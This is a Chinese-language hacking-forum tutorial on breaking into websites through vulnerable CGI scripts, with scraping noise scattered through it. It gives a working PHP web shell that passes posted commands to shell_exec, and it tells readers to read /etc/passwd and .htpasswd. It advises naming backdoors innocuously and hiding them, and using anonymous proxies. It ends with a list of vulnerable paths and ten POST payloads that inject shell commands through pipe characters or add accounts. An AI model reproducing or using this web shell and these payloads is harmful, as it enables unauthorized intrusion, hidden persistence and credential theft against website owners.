CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
1 Z) G& W- s; ?+ E8 Y! R这里让我感觉 很有技术交流的感觉
我会长长来玩的
/ @+ ?8 D' T8 U前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
6 R0 n8 k: _$ D' n  f$ E我门都知道 国外伺服器大多是linux 平台
1 R3 y1 m) {7 _0 ~) d7 ~4 q" L所以有很多网站程序有6成都会使用cgi 脚本来管理
' W; J7 V1 o$ U& K* D目录为/cgi-bin/
+ U8 T. f5 l, x9 u& j2 S; r% C
只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
. ]; I' E$ r# Y8 t: m让没有基础的人很容易上手
5 S( H+ g& E3 N3 M' C% M
以下内容跟帖回复才能看到
==============================

2 ?# e* S, G$ `5 s% l第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
7 M4 {1 l/ c* h, nA shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
, T8 q  p2 _4 {% p7 j$ A' g: V+ a
1 E7 [  W) X6 Q! v& Y4 w对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
- }2 n4 `2 p4 d1 A& @  S要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
# Z8 M4 M7 C5 `7 L所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
6 S+ N' T2 c* D2 i; O. H7 B
第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
" D" c& z; L- w( H$ E如 /home/www/site.com/cgi-bin/
/ E7 L& m+ F" S2 o: Nls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
/ U  c  u3 o# ?ls /: 列出根目录
$ y4 y% p9 A0 s7 z; \! E4 l2 gls /etc: 列出/etc的资料夹及档案
; T$ z# H/ G0 h' els ../ -al: 详细列出上一层的资料夹及档案
* o& q% P& o$ J8 Z& _1 p8 {cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
9 q+ `: v6 a* J/ L7 m" @1 ewho: 显示谁login 至系统
6 G4 r- h5 ?* }, m. f' D% ]; Mman: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
/ `2 A1 ]: ~; z! Xmv 移动档案
2 K& ]% T4 S% Y) U+ O7 G( drm 删除档案
7 C+ R1 m* v5 @
" K3 Z- y% A$ H# ^6 R  G第3部份: Shell的使用
  H9 P* ^( n+ y$ ^6 x# ^* F例如:
http://site.com/refer.php
8 V/ G' m: }+ J: E7 R2 j这是我的後门, 原代码如下:
6 x5 |: O2 Q: p) L<Form Action="#" Method="POST">
' C# y& A5 q+ P* M1 v& f9 I/ W<Input type="text" name="cmd">
<Input type="Submit">
/ [7 G8 g% o0 U& B" k- w* A</Form>
3 e% i9 M; n& k3 `/ {& c% S<?php
( F( ^7 E1 {8 q4 @$cmd = $_POST['cmd'];
1 N* k, v6 ]; x- ~8 G' J( s$Output = shell_exec($cmd);
echo $Output;
. f; A! s9 h" y+ m?>
输入pwd, 可得到绝对路径:
7 F! O: F7 U/ l7 @8 [/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
! Y) I. z+ L2 t7 X; d4 f- 使用匿名代理, 保障自己
4 E) a; d* H+ H- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
: p4 @: x3 ^6 r8 Q( T# j4 {- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
4 _  h; Z6 f# x# [: O7 W- \1 T- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
6 J& e' r8 f6 Q* z. q) c8 M3 [不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
' h$ x( Q" {1 A2 O: x  @- Q+ k针对网站的渗透分析方法太多了
% `% m- n$ u$ r  K1 H6 ?这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
" r% m: O7 i7 z, l) q4 \' e/ d0 D: l* Z开始讲解脚本入侵过程:
: Z9 F  k; e* C0 x7 r7 v在这里提供一些方法思路让大家学习一下
) ^! l6 X& A- L/ j% h: x6 z
1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
扫洞工具 如:triton..等等
8 h5 F0 K9 p; \) J2 l6 zE表
8 S! Z- s) ?; l. `& O# a如
7 {; e! K" ~# a8 r  x' b& @/cgi-bin/add-passwd.cgi
% c$ X) _6 H8 m/WebShop/templates/cc.txt
( N& G/ v6 u' C7 u/Admin_files/order.log
/orders/mountain.cfg
, u* P' `/ m% c4 C/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
2 g6 E+ @' y+ X' O% G6 P( R# ^E表来源可以是网路收寻或是自己的0 day
4 T; V9 j  o$ I5 w0 j9 A2 r
, e6 B1 T" ^% S" R, c% i2.怎样确认扫到的洞 是真的还假的?
5 i. o  G* U  S& Z! Q举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
) ~; h6 X% b8 N& u一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
* W; h% i3 F0 i# Q3.重来来了 很多人都会问我
* y  W" f$ y$ I6 x1 Z' t他扫到很多洞 但是不会使用
! z: o  w2 X# O# z7 s, s" r+ q. H! }因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
/ K( w3 O1 L+ ?2 x& S1 u1 {可以是源代码分析 找出介质
( @- i: }2 ^$ L) [! w( q3 v或是用抓包工具 抓他的语法...等等
% Y5 J" l/ R* f1 H/ S' U( L
1 [8 |! J* a* d7 R! z/ c' @" ~& z以下我提供10个 cgi 洞以及使用方法post
9 L; P  M! D. c% X2 b让大家可以针对网站去做扫描  
/ [4 U8 A% I" z7 h; }: M/index.cgi
wei=ren&gen=command
/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
( Q/ D! k3 h# G2 U' A6 T, ~" Uname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
$ T* ], |# t+ r, s) R/ }& e/ccbill-local.asp
' F9 N1 z  Q' y8 @/ Vpost_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
) s) s$ |( p2 L& _/recon.cgi?search
  }# s1 p. r6 f+ Dsearchoption=1&searchfor=|echo;ls -al;exit|
+ f# ]' d# Z6 |$ v: O/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
) J8 D, c9 c- ?8 N7 b8 n
今天就讲到这  感谢大家支持